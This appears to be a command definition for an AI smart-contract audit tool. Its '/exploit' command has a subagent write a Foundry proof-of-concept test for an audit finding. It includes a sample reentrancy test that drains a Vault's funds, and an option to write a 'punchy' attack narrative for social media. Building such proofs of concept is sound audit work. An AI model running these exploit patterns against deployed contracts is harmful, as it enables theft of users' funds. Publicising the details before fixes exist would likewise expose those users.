exploit

/exploit — write a working PoC

This is the headline feature. For a given finding ID, produce a Foundry test that:

1. Sets up the vulnerable state.
2. Executes the exploit.
3. Asserts the attacker gained value or the protocol was broken.
4. Compiles.
5. The test passes when run.

If --story is set, also produce a narrative "attack walkthrough" — punchy prose suitable for a tweet thread or blog post.

Procedure

Step 1 — Read the finding and the target

• Pull finding $ARGUMENTS[0] from the latest audit.
• Read the affected file and all imports it needs.
• Note the function signatures, state vars, and any setup needed (e.g. funded balances, deployed dependencies like a Uniswap V2 pair).

Step 2 — Dispatch exploit-poc-writer subagent

The subagent writes the Foundry test. Use Foundry's Test base + vm.prank, vm.deal, vm.warp, vm.expectRevert, vm.startPrank, etc.

Structure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import {Vault} from "src/Vault.sol";
import {MaliciousReceiver} from "./MaliciousReceiver.sol";

contract ExploitREENT001 is Test {
    Vault vault;
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        vault = new Vault();
        vm.deal(victim, 10 ether);
        vm.deal(attacker, 1 ether);
        vm.prank(victim);
        vault.deposit{value: 10 ether}();
    }

    function test_Reentrancy_Drain() public {
        MaliciousReceiver bad = new MaliciousReceiver(vault);
        vm.deal(address(bad), 1 ether);
        vm.startPrank(attacker);

        bad.attack{value: 1 ether}();   // ← seed deposit + trigger reentrancy

        assertGt(address(bad).balance, 1 ether, "exploit failed to drain");
        assertLt(address(vault).balance, 1 ether, "vault not drained");
    }
}

Plus any auxiliary attacker contract.

Step 3 — Compile and run

Use the forge-runner MCP:

mcp__forge-runner__build()
mcp__forge-runner__test(test="test_Reentrancy_Drain")